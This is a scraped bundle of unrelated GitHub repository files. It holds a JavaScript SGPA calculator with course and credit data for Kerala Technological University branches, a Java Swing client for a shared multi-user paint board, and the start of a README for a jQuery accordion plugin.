sub_name: "MaterialsTestingLabI",
},
sub8 = {
crdt: 1,
sub_name: "Fluid Mechanics Lab",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Design of Concrete Structures I",
},
sub2 = {
crdt: 3,
sub_name: "Structural Analysis II",
},
sub3 = {
crdt: 3,
sub_name: "Geotechnical Engineering II",
},
sub4 = {
crdt: 3,
sub_name: "Geomatics",
},
sub5 = {
crdt: 3,
sub_name: "Water Resources Engineering",
},
sub6 = {
crdt: 3,
sub_name: "Elective 1",
},
sub7 = {
crdt: 2,
sub_name: "Design Project",
},
sub8 = {
crdt: 1,
sub_name: "Materials TestingLabII",
},
sub9 = {
crdt: 1,
sub_name: "Geotechnical Engineering Lab",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Design of Hydraulic Structures",
},
sub2 = {
crdt: 3,
sub_name: "Design of Concrete Structures II",
},
sub3 = {
crdt: 3,
sub_name: "Computer Programming and Computational Techniques",
},
sub4 = {
crdt: 3,
sub_name: "Transportation Engineering I",
},
sub5 = {
crdt: 3,
sub_name: "Principles of Management",
},
sub6 = {
crdt: 3,
sub_name: "Elective 2",
},
sub7 = {
crdt: 1,
sub_name: "Transportation Engineering Lab",
},
sub8 = {
crdt: 1,
sub_name: "Computer Aided Civil Engineering Lab",
},
sub9 = {
crdt: 2,
sub_name: "Comprehensive Exam",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Design of Steel Structures",
},
sub2 = {
crdt: 3,
sub_name: "Structural Analysis III",
},
sub3 = {
crdt: 3,
sub_name: "Environmental Engineering I",
},
sub4 = {
crdt: 3,
sub_name: "Transportation Engineering II",
},
sub5 = {
crdt: 3,
sub_name: "Quantity Surveying and Valuation",
},
sub6 = {
crdt: 3,
sub_name: "Elective 3",
},
sub7 = {
crdt: 2,
sub_name: "Seminar & Project Preliminary",
},
sub8 = {
crdt: 1,
sub_name: "Environmental Engineering Lab",
}
],
[
5,
sub1 = {
crdt: 3,
sub_name: "Environmental Engineering II",
},
sub2 = {
crdt: 3,
sub_name: "Civil Engineering Project Management",
},
sub3 = {
crdt: 3,
sub_name: "Elective 4",
},
sub4 = {
crdt: 3,
sub_name: "Elective 5 (Non Departmental)",
},
sub5 = {
crdt: 5,
sub_name: "Project",
}
]
],
ec = [
[
9,
sub1 = {
crdt: 4,
sub_name: "Calculus",
},
sub2 = {
crdt: 4,
sub_name: "Physics or Chemistry",
},
sub3 = {
crdt: 0,
sub_name: "Mechanics or Graphics",
},
sub4 = {
crdt: 3,
sub_name: "Introduction to _______ Engineering ",
},
sub5 = {
crdt: 3,
sub_name: "Introduction to Sustainable Engg",
},
sub6 = {
crdt: 3,
sub_name: "Basic of ____",
},
sub7 = {
crdt: 1,
sub_name: "Engineering lab Phy|Chem",
},
sub8 = {
crdt: 1,
sub_name: "Engineering workshop 1",
},
sub9 = {
crdt: 1,
sub_name: "Engineering workshop 2",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Differential Equations (MA102)",
},
sub2 = {
crdt: 4,
sub_name: "Physics or Chemistry",
},
sub3 = {
crdt: 0,
sub_name: "Mechanics or Graphics",
},
sub4 = {
crdt: 3,
sub_name: "Design and Engineering (BE102)",
},
sub5 = {
crdt: 3,
sub_name: "Basics of X Engineering (CE/ME/EE/EC 100)",
},
sub6 = {
crdt: 3,
sub_name: "Basics of Y Engineering (CE/ME/EE/EC 100)",
},
sub7 = {
crdt: 1,
sub_name: "Engineering lab Phy|Chem",
},
sub8 = {
crdt: 1,
sub_name: "Engineering workshop 1",
},
sub9 = {
crdt: 1,
sub_name: "Engineering workshop 2",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Linear Algebra & Complex Analysis",
},
sub2 = {
crdt: 4,
sub_name: "Network Theory",
},
sub3 = {
crdt: 4,
sub_name: "Solid State Devices",
},
sub4 = {
crdt: 4,
sub_name: "Electronic Circuits",
},
sub5 = {
crdt: 3,
sub_name: "Logic Circuit Design",
},
sub6 = {
crdt: 3,
sub_name: "Business Economics/Life Skills",
},
sub7 = {
crdt: 1,
sub_name: "ElectronicDevices &Circuits Lab",
},
sub8 = {
crdt: 1,
sub_name: "Electronic Design Automation Lab",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Probability, Random Processes andNumerical Methods",
},
sub2 = {
crdt: 4,
sub_name: "Signals & Systems",
},
sub3 = {
crdt: 4,
sub_name: "AnalogIntegrated Circuits",
},
sub4 = {
crdt: 3,
sub_name: "Computer Organization",
},
sub5 = {
crdt: 3,
sub_name: "AnalogCommunication Engineering",
},
sub6 = {
crdt: 3,
sub_name: "Life Skills/Business Economics",
},
sub7 = {
crdt: 1,
sub_name: "AnalogIntegrated Circuits Lab",
},
sub8 = {
crdt: 1,
sub_name: "Logic Circuit Design Lab",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Digital Signal Processing",
},
sub2 = {
crdt: 3,
sub_name: "Applied Electromagnetic Theory",
},
sub3 = {
crdt: 3,
sub_name: "Microprocessors & Microcontrollers",
},
sub4 = {
crdt: 3,
sub_name: "Power Electronics & Instrumentation",
},
sub5 = {
crdt: 3,
sub_name: "Principles of Management",
},
sub6 = {
crdt: 3,
sub_name: "Elective 1",
},
sub7 = {
crdt: 2,
sub_name: "Design Project",
},
sub8 = {
crdt: 1,
sub_name: "Digital Signal Processing Lab",
},
sub9 = {
crdt: 1,
sub_name: "Power Electronics & Instrumentation Lab",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Digital Communication",
},
sub2 = {
crdt: 3,
sub_name: "VLSI",
},
sub3 = {
crdt: 3,
sub_name: "Antenna & Wave Propagation",
},
sub4 = {
crdt: 3,
sub_name: "Embedded Systems",
},
sub5 = {
crdt: 3,
sub_name: "Object Oriented Programming",
},
sub6 = {
crdt: 3,
sub_name: "Elective 2",
},
sub7 = {
crdt: 1,
sub_name: "Communication Engg Lab (Analog & Digital)",
},
sub8 = {
crdt: 1,
sub_name: "Microcontroller Lab",
},
sub9 = {
crdt: 2,
sub_name: "Comprehensive Exam",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Information Theory & Coding",
},
sub2 = {
crdt: 3,
sub_name: "Microwave & Radar Engineering",
},
sub3 = {
crdt: 3,
sub_name: "Optical Communication",
},
sub4 = {
crdt: 3,
sub_name: "Computer Communication",
},
sub5 = {
crdt: 3,
sub_name: "Control Systems",
},
sub6 = {
crdt: 3,
sub_name: "Elective 3",
},
sub7 = {
crdt: 2,
sub_name: "Seminar & Project Preliminary",
},
sub8 = {
crdt: 1,
sub_name: "Communication Systems Lab (Optical & Microwave)",
}
],
[
5,
sub1 = {
crdt: 3,
sub_name: "Nano electronics",
},
sub2 = {
crdt: 3,
sub_name: "Advanced Communication Systems",
},
sub3 = {
crdt: 3,
sub_name: "Elective 4",
},
sub4 = {
crdt: 3,
sub_name: "Elective 5 (Non Departmental)",
},
sub5 = {
crdt: 6,
sub_name: "Project",
}
]
],
me = [
[
9,
sub1 = {
crdt: 4,
sub_name: "Calculus",
},
sub2 = {
crdt: 4,
sub_name: "Physics or Chemistry",
},
sub3 = {
crdt: 0,
sub_name: "Mechanics or Graphics",
},
sub4 = {
crdt: 3,
sub_name: "Introduction to _______ Engineering ",
},
sub5 = {
crdt: 3,
sub_name: "Introduction to Sustainable Engg",
},
sub6 = {
crdt: 3,
sub_name: "Basic of ____",
},
sub7 = {
crdt: 1,
sub_name: "Engineering lab Phy|Chem",
},
sub8 = {
crdt: 1,
sub_name: "Engineering workshop 1",
},
sub9 = {
crdt: 1,
sub_name: "Engineering workshop 2",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Differential Equations (MA102)",
},
sub2 = {
crdt: 4,
sub_name: "Physics or Chemistry",
},
sub3 = {
crdt: 0,
sub_name: "Mechanics or Graphics",
},
sub4 = {
crdt: 3,
sub_name: "Design and Engineering (BE102)",
},
sub5 = {
crdt: 3,
sub_name: "Basics of X Engineering (CE/ME/EE/EC 100)",
},
sub6 = {
crdt: 3,
sub_name: "Basics of Y Engineering (CE/ME/EE/EC 100)",
},
sub7 = {
crdt: 1,
sub_name: "Engineering lab Phy|Chem",
},
sub8 = {
crdt: 1,
sub_name: "Engineering workshop 1",
},
sub9 = {
crdt: 1,
sub_name: "Engineering workshop 2",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Linear Algebra & Complex Analysis",
},
sub2 = {
crdt: 4,
sub_name: "Mechanics of Solids ",
},
sub3 = {
crdt: 4,
sub_name: "Mechanics ofFluids",
},
sub4 = {
crdt: 4,
sub_name: "Thermodynamics",
},
sub5 = {
crdt: 3,
sub_name: "Metallurgy and Materials Engineering",
},
sub6 = {
crdt: 3,
sub_name: "Business Economics/Life Skills",
},
sub7 = {
crdt: 1,
sub_name: "Computer Aided Machine Drawing Lab",
},
sub8 = {
crdt: 1,
sub_name: "Material Testing Lab",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Probability Distributions, Transforms and Numerical Methods",
},
sub2 = {
crdt: 4,
sub_name: "Advanced Mechanics of Solids",
},
sub3 = {
crdt: 4,
sub_name: "Thermal Engineering",
},
sub4 = {
crdt: 3,
sub_name: "Fluid Machinery",
},
sub5 = {
crdt: 3,
sub_name: "Manufacturing Technology",
},
sub6 = {
crdt: 3,
sub_name: "Life Skills/Business Economics",
},
sub7 = {
crdt: 1,
sub_name: "Thermal Engineering Lab",
},
sub8 = {
crdt: 1,
sub_name: "Fluid Mechanics & MachinesLab",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Mechanics of Machinery",
},
sub2 = {
crdt: 3,
sub_name: "Machine Tools &Digital Manufacturing",
},
sub3 = {
crdt: 3,
sub_name: "Computer Programming & Numerical Methods",
},
sub4 = {
crdt: 3,
sub_name: "Electrical Drives &Control for Automation",
},
sub5 = {
crdt: 3,
sub_name: "Principles of Management",
},
sub6 = {
crdt: 3,
sub_name: "Elective 1",
},
sub7 = {
crdt: 2,
sub_name: "Design Project",
},
sub8 = {
crdt: 1,
sub_name: "Electrical and Electronics Lab",
},
sub9 = {
crdt: 1,
sub_name: "Manufacturing Technology Lab I",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Heat &Mass Transfer",
},
sub2 = {
crdt: 3,
sub_name: "Dynamics of Machinery",
},
sub3 = {
crdt: 3,
sub_name: "Advanced Manufacturing Technology",
},
sub4 = {
crdt: 3,
sub_name: "Computer Aided Design and Analysis",
},
sub5 = {
crdt: 3,
sub_name: "Metrology and Instrumentation",
},
sub6 = {
crdt: 3,
sub_name: "Elective 2",
},
sub7 = {
crdt: 1,
sub_name: "Computer Aided Design &Analysis Lab",
},
sub8 = {
crdt: 1,
sub_name: "Manufacturing Technology Lab II",
},
sub9 = {
crdt: 2,
sub_name: "Comprehensive Exam",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Design of Machine Elements I",
},
sub2 = {
crdt: 3,
sub_name: "Advanced Energy Engineering",
},
sub3 = {
crdt: 3,
sub_name: "Refrigeration and Air Conditioning",
},
sub4 = {
crdt: 3,
sub_name: "Mechatronics",
},
sub5 = {
crdt: 3,
sub_name: "Compressible Fluid Flow",
},
sub6 = {
crdt: 3,
sub_name: "Elective 3",
},
sub7 = {
crdt: 2,
sub_name: "Seminar & Project Preliminary",
},
sub8 = {
crdt: 1,
sub_name: "Mechanical Engineering Lab",
}
],
[
5,
sub1 = {
crdt: 3,
sub_name: "Design of Machine Elements II",
},
sub2 = {
crdt: 3,
sub_name: "Industrial Engineering",
},
sub3 = {
crdt: 3,
sub_name: "Elective 4",
},
sub4 = {
crdt: 3,
sub_name: "Elective 5 (Non Departmental)",
},
sub5 = {
crdt: 6,
sub_name: "Project",
}
]
],
eee = [
[
9,
sub1 = {
crdt: 4,
sub_name: "Calculus",
},
sub2 = {
crdt: 4,
sub_name: "Physics or Chemistry",
},
sub3 = {
crdt: 0,
sub_name: "Mechanics or Graphics",
},
sub4 = {
crdt: 3,
sub_name: "Introduction to _______ Engineering ",
},
sub5 = {
crdt: 3,
sub_name: "Introduction to Sustainable Engg",
},
sub6 = {
crdt: 3,
sub_name: "Basic of ____",
},
sub7 = {
crdt: 1,
sub_name: "Engineering lab Phy|Chem",
},
sub8 = {
crdt: 1,
sub_name: "Engineering workshop 1",
},
sub9 = {
crdt: 1,
sub_name: "Engineering workshop 2",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Differential Equations (MA102)",
},
sub2 = {
crdt: 4,
sub_name: "Physics or Chemistry",
},
sub3 = {
crdt: 0,
sub_name: "Mechanics or Graphics",
},
sub4 = {
crdt: 3,
sub_name: "Design and Engineering (BE102)",
},
sub5 = {
crdt: 3,
sub_name: "Basics of X Engineering (CE/ME/EE/EC 100)",
},
sub6 = {
crdt: 3,
sub_name: "Basics of Y Engineering (CE/ME/EE/EC 100)",
},
sub7 = {
crdt: 1,
sub_name: "Engineering lab Phy|Chem",
},
sub8 = {
crdt: 1,
sub_name: "Engineering workshop 1",
},
sub9 = {
crdt: 1,
sub_name: "Engineering workshop 2",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Linear Algebra & Complex Analysis",
},
sub2 = {
crdt: 4,
sub_name: "CircuitsandNetworks ",
},
sub3 = {
crdt: 4,
sub_name: "AnalogElectronic Circuits",
},
sub4 = {
crdt: 4,
sub_name: "DC Machines and Transformers",
},
sub5 = {
crdt: 3,
sub_name: "Computer Programming",
},
sub6 = {
crdt: 3,
sub_name: "Business Economics/Life Skills",
},
sub7 = {
crdt: 1,
sub_name: "Electronic Circuits Lab",
},
sub8 = {
crdt: 1,
sub_name: "Programming Lab",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Probability Distributions, Transforms and Numerical Methods",
},
sub2 = {
crdt: 4,
sub_name: "Synchronous and Induction Machines",
},
sub3 = {
crdt: 3,
sub_name: "Digital Electronics and Logic Design",
},
sub4 = {
crdt: 3,
sub_name: "Material Science",
},
sub5 = {
crdt: 4,
sub_name: "Measurements and Instrumentation",
},
sub6 = {
crdt: 3,
sub_name: "Life Skills/Business Economics",
},
sub7 = {
crdt: 1,
sub_name: "Electrical Machines Lab I",
},
sub8 = {
crdt: 1,
sub_name: "Circuits and Measurements Lab",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Power Generation, Transmission and Protection",
},
sub2 = {
crdt: 3,
sub_name: "Linear Control Systems",
},
sub3 = {
crdt: 3,
sub_name: "Power Electronics",
},
sub4 = {
crdt: 3,
sub_name: "Signals and Systems",
},
sub5 = {
crdt: 3,
sub_name: "Microprocessor and Embedded Systems",
},
sub6 = {
crdt: 3,
sub_name: "Elective 1",
},
sub7 = {
crdt: 2,
sub_name: "Design Project",
},
sub8 = {
crdt: 1,
sub_name: "Digital Circuits and Embedded Systems Lab",
},
sub9 = {
crdt: 1,
sub_name: "Electrical Machines Lab II",
}
],
[
9,
sub1 = {
crdt: 3,
sub_name: "Electromagnetics",
},
sub2 = {
crdt: 4,
sub_name: "Advanced Control Theory",
},
sub3 = {
crdt: 3,
sub_name: "Power System Analysis",
},
sub4 = {
crdt: 3,
sub_name: "ElectricDrives",
},
sub5 = {
crdt: 3,
sub_name: "Principles of Management",
},
sub6 = {
crdt: 3,
sub_name: "Elective 2",
},
sub7 = {
crdt: 1,
sub_name: "Systems and Control Lab",
},
sub8 = {
crdt: 1,
sub_name: "Power Electronics& DrivesLab",
},
sub9 = {
crdt: 2,
sub_name: "Comprehensive Exam",
}
],
[
8,
sub1 = {
crdt: 3,
sub_name: "Electronic Communication",
},
sub2 = {
crdt: 3,
sub_name: "Distributed Generation and Smart Grids",
},
sub3 = {
crdt: 4,
sub_name: "Electrical System Design",
},
sub4 = {
crdt: 3,
sub_name: "Digital Signal Processing",
},
sub5 = {
crdt: 3,
sub_name: "Electrical Machine Design ",
},
sub6 = {
crdt: 3,
sub_name: "Elective 3",
},
sub7 = {
crdt: 2,
sub_name: "Seminar & Project Preliminary",
},
sub8 = {
crdt: 1,
sub_name: "Power System Lab",
}
],
[
5,
sub1 = {
crdt: 3,
sub_name: "Special Electric Machines",
},
sub2 = {
crdt: 3,
sub_name: "IndustrialInstrumentation &Automation",
},
sub3 = {
crdt: 3,
sub_name: "Elective 4",
},
sub4 = {
crdt: 3,
sub_name: "Elective 5 (Non Departmental)",
},
sub5 = {
crdt: 6,
sub_name: "Project",
}
]
]
]
r = ["r1", "r2", "r3", "r4", "r5", "r6", "r7", "r8", "r9"];
sub = ["subn1", "subn2", "subn3", "subn4", "subn5", "subn6", "subn7", "subn8", "subn9"];
subs = ["sub1", "sub2", "sub3", "sub4", "sub5", "sub6", "sub7", "sub8", "sub9"]
function sem_change() {
var semester = document.getElementById("sem").value;
if (semester < 2) {
document.getElementById("gra_mech").style.visibility = "visible"
} else {
document.getElementById("gra_mech").style.visibility = "hidden";
}
}
function go() {
var semester = document.getElementById("sem").value;
var branch = document.getElementById("branch").value;
console.log(semester);
console.log(branch);
var no_sub = data[branch][semester][0];
var i = 0;
for (i = 0; i < 9; i = i + 1) {
document.getElementById(r[i]).style.visibility = "hidden";
}
for (i = 0; i < no_sub; i = i + 1) {
document.getElementById(r[i]).style.visibility = "visible";
sname=data[branch][semester][i+1].sub_name;
document.getElementById(sub[i]).innerHTML = sname;
}
}
function get_grade() {
var sum_credit=0;
var sum = 0;
var semester = document.getElementById("sem").value;
var branch = document.getElementById("branch").value;
var no_sub = data[branch][semester][0];
mech_graphics=document.getElementById("mech_graph").value;
if (semester<2){
mech_graphics=document.getElementById("mech_graph").value;
if(mech_graphics==0){
sum_credit=3;
}else{
sum_credit=4;
}
}
for (var i = 0; i < no_sub; i++) {
sub_credit=Number(data[branch][semester][i+1].crdt);
gp=Number(document.getElementById(subs[i]).value);
sum = sum + (sub_credit*gp);
sum_credit+=sub_credit;
console.log(sub_credit,gp,sum,sum_credit);
}
sum = sum / sum_credit;
document.getElementById("result").innerHTML = sum;
}<file_sep>/README.md
# ktu-cgpa-calculator
#### live at https://sarathkrishnan.github.io/ktu-cgpa-calculator/
This is a simple web app for calculating SEMESTER GPA (SGPA) for Kerala Technological University 2014 scheme students.
#### Features
1. No need for server. All operation performent at client side
1. Support all main bracnhes (CSE, ME, CE, ECE, EE, IT) and all semester
1. Name of subject and credit of subject is saved in [_scritp.js_](https://github.com/Sarathkrishnan/ktu-cgpa-calculator/blob/master/script.js) as a json [ nested dictionary+list]
| d207cd4c2f03243689fd1434c53a54c92fb94d02 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | Sarathkrishnan/ktu-cgpa-calculator | 410506a8b30eb1178d97b622f70de5e37d93f3db | befea4480aec425c248d4d3b4f10c4545ac9ec2d |
refs/heads/main | <file_sep>package org.suai.java.client;
import java.net.*;
import javax.swing.*;
import java.awt.*;
import java.io.*;
import java.awt.image.*;
import java.awt.event.*;
import java.util.Random;
public class Client {
boolean isConnected = false;
String serverHost = null;
int serverPort;
Socket clientSocket;
BufferedReader readSocket;
BufferedWriter writeSocket;
JFrame frame;
JMenuBar topBar;
JMenu sizeBar;
JMenu colourBar;
JMenu otherBar;
JPanel menu;
JPanel joinMenu;
JLabel top;
JLabel notFoundLabel;
BoardPanel boardPanel; // отображение доски
BufferedImage board = null; // доска
Graphics2D graphics;
String name = "jjjj";
Color mainColor;
Color greyColor = new Color(220, 220, 220);
Color borderColor = new Color(180, 180, 180);
SizeOptions sizeOptions;
ColorOptions colorOptions;
OtherOptions otherOptions;
class BoardPanel extends JPanel implements Serializable {
private static final long serialVersionUID = -109728024865681281L;
public void paintComponent(Graphics g) {
super.paintComponent(g);
g.drawImage(board, 0, 0, this);
}
}
class ReaderThread extends Thread {
String message;
String[] splitMessage;
public ReaderThread() {
this.start();
}
public void run() {
try {
try {
while (true) {
message = readSocket.readLine();
splitMessage = message.split(" ", 2);
if (splitMessage[0].equals("CREATE")) {
if (splitMessage[1].equals("OK")) {
board = new BufferedImage(810, 600, BufferedImage.TYPE_INT_RGB);
graphics = board.createGraphics();
graphics.setColor(Color.white);
graphics.fillRect(0, 0, 810, 600);
isConnected = true;
frame.remove(menu);
frame.remove(top);
frame.add(topBar);
frame.add(boardPanel);
frame.repaint();
} else if (splitMessage[1].equals("EXISTS")) {
frame.repaint();
}
} else if (splitMessage[0].equals("CONNECT")) {
if (splitMessage[1].equals("OK")) {
int[] rgbArray = new int[486000];
for (int i = 0; i < rgbArray.length; i++) {
message = readSocket.readLine();
rgbArray[i] = Integer.parseInt(message);
}
board = new BufferedImage(810, 600, BufferedImage.TYPE_INT_RGB);
board.setRGB(0, 0, 810, 600, rgbArray, 0, 810);
graphics = board.createGraphics();
isConnected = true;
frame.remove(joinMenu);
frame.remove(top);
frame.add(topBar);
frame.add(boardPanel);
frame.repaint();
} else if (splitMessage[1].equals("NOT FOUND")) {
joinMenu.add(notFoundLabel);
frame.repaint();
}
} else {
splitMessage = message.split(" ", 4);
int color = Integer.parseInt(splitMessage[0]);
int coordX = Integer.parseInt(splitMessage[1]);
int coordY = Integer.parseInt(splitMessage[2]);
int size = Integer.parseInt(splitMessage[3]);
graphics.setColor(new Color(color));
graphics.fillOval(coordX, coordY, size, size);
boardPanel.repaint();
}
}
} catch (IOException err) {
System.out.println(err.toString());
readSocket.close();
writeSocket.close();
}
} catch (IOException err) {
System.out.println(err.toString());
}
}
}
public Client(String serverHost, int serverPort) {
try {
try {
this.serverHost = serverHost;
this.serverPort = serverPort;
clientSocket = new Socket(serverHost, serverPort);
readSocket = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
writeSocket = new BufferedWriter(new OutputStreamWriter(clientSocket.getOutputStream()));
new ReaderThread();
} catch (IOException err) {
System.out.println(err.toString());
readSocket.close();
writeSocket.close();
}
} catch (IOException err) {
System.out.println(err.toString());
}
frame = new JFrame("NotPaint");
frame.setSize(810, 640);
frame.setResizable(false);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLayout(null);
frame.setVisible(true);
boardPanel = new BoardPanel();
boardPanel.setBounds(0, 40, 810, 600);
boardPanel.setOpaque(true);
mainColor = Color.black;
top = new JLabel("WELCOME TO THE MULTI-USER PAINT");
top.setBounds(0, 0, 810, 40);
top.setBackground(greyColor);
top.setFont(new Font( Font.SANS_SERIF, Font.PLAIN, 20));
top.setHorizontalAlignment(JLabel.CENTER);
top.setBorder(BorderFactory.createLineBorder(borderColor, 1));
frame.add(top);
menu = new JPanel();
menu.setBounds(0, 40, 810, 600);
menu.setBackground(Color.white);
menu.setLayout(null);
frame.add(menu);
joinMenu = new JPanel();
joinMenu.setBounds(0, 40, 810, 600);
joinMenu.setBackground(Color.white);
joinMenu.setLayout(null);
ImageIcon notFound = createIcon("resources/notFound.png");
notFoundLabel = new JLabel(notFound);
notFoundLabel.setBounds(170, 405, 470, 100);
JButton create = new JButton(createIcon("resources/create.png"));
create.setBounds(150, 80, 510, 180);
create.setBorderPainted(false);
create.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent event) {
Random random = new Random();
int num = random.nextInt(999999);
if (num < 100000) num += 100000;
name = "" + num;
otherOptions.setDeskName(name);
if (name.equals("")) {
frame.repaint();
return;
}
if (menu.isAncestorOf(notFoundLabel)) {
menu.remove(notFoundLabel);
frame.repaint();
}
try {
try {
writeSocket.write("CREATE " + name + "\n");
writeSocket.flush();
} catch (IOException err) {
System.out.println(err.toString());
readSocket.close();
writeSocket.close();
}
} catch (IOException err) {
System.out.println(err.toString());
}
}
});
menu.add(create);
JButton join = new JButton(createIcon("resources/join.png"));
join.setBounds(150, 300, 510, 180);
join.setBorderPainted(false);
join.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent event) {
frame.remove(menu);
frame.add(joinMenu);
frame.repaint();
}
});
menu.add(join);
JTextField textField = new JTextField();
textField.setBounds(170, 265, 470, 100);
textField.setFont(new Font("myBigFont", Font.BOLD, 35));
textField.setBorder(BorderFactory.createLineBorder(greyColor, 3));
textField.setHorizontalAlignment(JTextField.CENTER);
textField.setText("");
joinMenu.add(textField);
JButton joinB = new JButton(createIcon("resources/join.png"));
joinB.setBounds(150, 60, 510, 180);
joinB.setBorderPainted(false);
joinB.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent event) {
name = textField.getText();
otherOptions.setDeskName(name);
if (name.equals("")) {
System.out.println();
frame.repaint();
return;
}
if (menu.isAncestorOf(notFoundLabel)) {
menu.remove(notFoundLabel);
frame.repaint();
}
try {
try {
writeSocket.write("CONNECT " + name + "\n");
writeSocket.flush();
} catch (IOException err) {
System.out.println(err.toString());
readSocket.close();
writeSocket.close();
}
} catch (IOException err) {
System.out.println(err.toString());
}
}
});
joinMenu.add(joinB);
sizeBar = new JMenu();
sizeBar.setBounds(0, 0, 270, 40);
sizeBar.setIcon(createIcon("resources/size.png"));
sizeBar.setBorder(BorderFactory.createLineBorder(borderColor, 1));
sizeBar.setFocusPainted(false);
sizeOptions = new SizeOptions();
sizeBar.add(sizeOptions);
colourBar = new JMenu();
colourBar.setBounds(270, 0, 270, 40);
colourBar.setIcon(createIcon("resources/colour.png"));
colourBar.setBorder(BorderFactory.createLineBorder(borderColor, 1));
colourBar.setFocusPainted(false);
colorOptions = new ColorOptions();
colourBar.add(colorOptions);
otherBar = new JMenu("OTHER");
otherBar.setBounds(540, 0, 270, 40);
otherBar.setIcon(createIcon("resources/other.png"));
otherBar.setBorder(BorderFactory.createLineBorder(borderColor, 1));
otherBar.setFocusPainted(false);
otherOptions = new OtherOptions(name);
otherOptions.setDeskName(name);
otherBar.add(otherOptions);
topBar = new JMenuBar();
topBar.setBounds(0, 0, 810, 40);
topBar.setBackground(greyColor);
topBar.add(sizeBar);
topBar.add(colourBar);
topBar.add(otherBar);
boardPanel.addMouseMotionListener(new MouseMotionAdapter() {
public void mouseDragged(MouseEvent e) {
try {
try {
int size = sizeOptions.getBrushSize();
mainColor = colorOptions.getColor();
String message = mainColor.getRGB() + " " + (e.getX() - size / 2) + " " + (e.getY() - size / 2)
+ " " + size;
writeSocket.write(message + "\n");
writeSocket.flush();
} catch (IOException err) {
System.out.println(err.toString());
readSocket.close();
writeSocket.close();
}
} catch (IOException err) {
System.out.println(err.toString());
}
}
});
boardPanel.addMouseListener(new MouseAdapter() {
public void mouseClicked(MouseEvent e) {
try {
try {
int size = sizeOptions.getBrushSize();
mainColor = colorOptions.getColor();
String message = mainColor.getRGB() + " " + (e.getX() - size / 2) + " " + (e.getY() - size / 2)
+ " " + size;
writeSocket.write(message + "\n");
writeSocket.flush();
} catch (IOException err) {
System.out.println(err.toString());
readSocket.close();
writeSocket.close();
}
} catch (IOException err) {
System.out.println(err.toString());
}
}
});
}
private class OtherOptions extends JPanel{
String deskName = "ggg";
JLabel ID;
public OtherOptions(String n){
setLayout(new GridLayout(3, 1,0,1));
deskName = n;
ID = new JLabel();
ID.setPreferredSize(new Dimension(260, 40));
ID.setBackground(greyColor);
ID.setFont(new Font( Font.SANS_SERIF, Font.PLAIN, 20));
ID.setHorizontalAlignment(JLabel.CENTER);
this.add(ID);
JButton clearButton = new JButton("CLEAR");
clearButton.setPreferredSize(new Dimension(260, 40));
clearButton.setFocusPainted(false);
clearButton.setBorderPainted(false);
clearButton.setBackground(greyColor);
clearButton.setFont(new Font( Font.SANS_SERIF, Font.PLAIN, 20));
clearButton.setHorizontalAlignment(JLabel.CENTER);
clearButton.setOpaque(false);
clearButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent event) {
board = new BufferedImage(810, 600, BufferedImage.TYPE_INT_RGB);
graphics = board.createGraphics();
graphics.setColor(Color.white);
graphics.fillRect(0, 0, 810, 600);
frame.repaint();
try {
try {
String message = Color.white.getRGB() + " " + -200 + " " + -300 + " " + 1500;
writeSocket.write(message + "\n");
writeSocket.flush();
} catch (IOException err) {
System.out.println(err.toString());
readSocket.close();
writeSocket.close();
}
} catch (IOException err) {
System.out.println(err.toString());
}
}
});
this.add(clearButton);
JButton exitButton = new JButton("EXIT");
exitButton.setPreferredSize(new Dimension(260, 40));
exitButton.setBackground(greyColor);
exitButton.setFocusPainted(false);
exitButton.setBorderPainted(false);
exitButton.setFont(new Font( Font.SANS_SERIF, Font.PLAIN, 20));
exitButton.setHorizontalAlignment(JLabel.CENTER);
exitButton.setOpaque(false);
exitButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent event) {
frame.remove(boardPanel);
frame.add(menu);
frame.remove(topBar);
frame.add(top);
frame.repaint();
}
});
this.add(exitButton);
}
public void setDeskName(String n){
deskName = n;
ID.setText("DESK ID: " + deskName);
}
}
private ImageIcon createIcon(String path) {
URL imgURL = Client.class.getResource(path);
return new ImageIcon(imgURL);
}
} | 7c4e9c35ff4fa59dd39d8ca7e32eedea53984326 | [
"Java"
] | 1 | Java | Elisaveta867/Paint | df4792d739179e283977cabb9e4db6385f758d62 | f9cc501be86386aefba8c7e9c64a8f3b8415061a |
refs/heads/master | <repo_name>mit24/accordionMIT<file_sep>/README.md
jQuery plugin accordionMIT
==========
RULES AND LICENSE
Develope by PHP-developer <NAME> from Workshop of IT (site http://mit24.ru).
The LLC Web have all rights on this plugin. The plugin is available for free use on an "as is".
The developer is not responsible for any errors or malicious code.
==========
INSTRUCTION
Any list or a set of identical blocks with the help of this plug-in you can convert accordion. Example:
JS:
<pre>
$(".parent").AccordionMIT({
parentBlockRowsDefault: 2, //Count rows, shows when plugin is loaded
parentPadding: 20, //Margin button from parent block
elementColsInRow: 3, //Numbers elements in row
elementChild: ".child", //Child class in DOM structure
toggle: true, //Show button after click
toggleImg: "/i/arrow/down.png", //Button image
toggleWidth: "100%", //Width button
toggleHeight: 60, //Height button
animateSpeed: 1000, //Animation speed
});
</pre>
HTML:
<pre>
<div class="parent">
<div class="child"></div>
<div class="child"></div>
